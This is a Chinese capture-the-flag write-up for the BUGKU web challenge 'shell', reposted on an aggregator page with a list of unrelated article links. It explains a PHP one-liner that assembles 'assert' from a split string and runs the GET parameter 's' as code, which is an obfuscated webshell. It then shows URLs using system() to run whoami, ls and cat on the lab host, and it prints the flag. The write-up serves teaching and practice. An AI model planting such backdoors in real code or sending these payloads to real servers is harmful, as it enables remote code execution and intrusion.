当前位置: 首页 > news >正文

BUGKU-WEB shell

题目描述

题目截图如下:
在这里插入图片描述
描述:

 $poc = "a#s#s#e#r#t";$poc_1 = explode("#", $poc);$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];$poc_2($_GET['s'])

进入场景看看:是一个空白的界面
在这里插入图片描述

解题思路

  • 代码审计

相关工具

解题步骤

  1. 审计提示中的代码
 $poc = "a#s#s#e#r#t"; # 定义了一个名为POC的变量$poc_1 = explode("#", $poc); # 使用了PHP中的ecplode函数,作用是按照指定的分割符#对变量字符串进行分割,分割后是一个数组$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 将分割后的数组内容进行拼接,显然是一个单词assert$poc_2($_GET['s'])# 将拼接后的字符串 $poc_2 作为函数名,也就是assert()函数# $_GET[] 表示使用的是get请求,传入一个名为s的参数,然后将这个参数值作为assert函数的内容
  1. 得到初步的POC:
http://114.67.175.224:17986/?s=

然后简单测试一下system函数进行输出:

http://114.67.175.224:17986/?s=system(%22whoami%22)

在这里插入图片描述
执行成功,然后就是找flag,怎么知道flag在哪里呢?当然是先遍历一下,也就是ls:

http://114.67.175.224:17986/?s=system(ls)

在这里插入图片描述
发现2个文件,其中一个直接显示flag的txt文件,那就是它了,如何显示这个文件的内容呢?直接访问就可以啦

http://114.67.175.224:17986/flaga15808abee46a1d5.txt

在这里插入图片描述
也可以直接使用cat命令访问:

http://114.67.175.224:17986/?s=system(%22cat%20flaga15808abee46a1d5.txt%22)

在这里插入图片描述

除此外,还可以使用
在这里插入图片描述

得到Flag

flag{dcad944287da8b741c17bcf4263149e8}

在这里插入图片描述

新知识点

  • PHP explode() 函数
    在这里插入图片描述
  • assert()函数:直接将传入的参数当成PHP代码直接执行
    在这里插入图片描述

参考链接

  1. php assert执行命令,php中代码执行&&命令执行函数
  2. Bugku-CTF-shell-过狗一句话

有用的话,请点赞收藏评论,帮助更多的同学哦

http://www.lryc.cn/news/321735.html

相关文章:

  • 系统重构后,对项目定制开发的兼容性问题
  • Linux---基本操作命令之用户管理命令
  • excel 破解 保护工作簿及保护工作表
  • django-comment-migrate 模型注释的使用
  • Python学习:列表
  • C语言每日一题—判断是否为魔方矩阵
  • Java数组新手冷知识
  • Linux——程序地址空间
  • Linux编程4.9 网络编程-建立连接
  • 威胁检测与分析--云图大师
  • Python基础入门 --- 7.函数
  • 第4周 Python程序流程控制刷题
  • 高亮搜索中的关键字怎么实现
  • OpenCV系列文章目录(持续更新中......)
  • 【机器学习系列】M3DM工业缺陷检测部署与训练
  • 西瓜书机器学习AUC与ℓ-rank(loss)的联系理解以及证明(通俗易懂)
  • 渔业安全生产综合管理指挥系统-航迹数据优化方案
  • 发现数据之美:探索数据可视化的艺术与技术
  • Flutter项目组件模块化开发的实践与搭建
  • Flink:使用 Faker 和 DataGen 生成测试数据
  • Json格式解析
  • Java Day13 多线程
  • 以太坊的演变:EIP、ERC 概念以及革命性的 ERC20、ERC721 和 ERC115 标准
  • B003-springcloud alibaba 服务治理 nacos discovery ribbon feign
  • mac笔记本执行定时任务
  • 解决linux系统网卡加载慢的问题
  • Linux 命令或者一些工具
  • 基于python的4s店客户管理系统
  • 解决谷歌浏览器最新chrome94版本CORS跨域问题
  • JAVA 线程